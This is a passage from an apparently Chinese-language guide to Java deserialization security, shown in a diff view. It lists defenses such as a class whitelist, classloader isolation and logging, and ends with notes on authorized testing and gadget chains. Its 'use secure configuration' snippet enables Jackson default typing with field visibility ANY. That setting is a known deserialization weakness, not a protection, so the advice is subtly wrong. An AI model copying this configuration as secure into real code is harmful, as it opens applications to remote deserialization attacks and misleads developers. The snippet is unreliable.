```java
|
|
||||||
// 白名单验证类名
|
|
||||||
private static final Set<String> ALLOWED_CLASSES =
|
|
||||||
Set.of("com.example.SafeClass");
|
|
||||||
|
|
||||||
private Object readObject(ObjectInputStream ois) {
|
|
||||||
// 验证类名
|
|
||||||
// ...
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **使用安全配置**
|
|
||||||
```java
|
|
||||||
// Jackson配置
|
|
||||||
objectMapper.enableDefaultTyping();
|
|
||||||
objectMapper.setVisibility(PropertyAccessor.FIELD,
|
|
||||||
JsonAutoDetect.Visibility.ANY);
|
|
||||||
```
|
|
||||||
|
|
||||||
4. **类加载器隔离**
|
|
||||||
- 使用自定义ClassLoader
|
|
||||||
- 限制可加载的类
|
|
||||||
|
|
||||||
5. **监控和日志**
|
|
||||||
- 记录反序列化操作
|
|
||||||
- 监控异常行为
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权测试环境中进行
|
|
||||||
- 注意不同版本库的Gadget链差异
|
|
||||||
- 测试时注意Payload大小限制
|
|
||||||
- 了解目标应用的依赖库版本
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user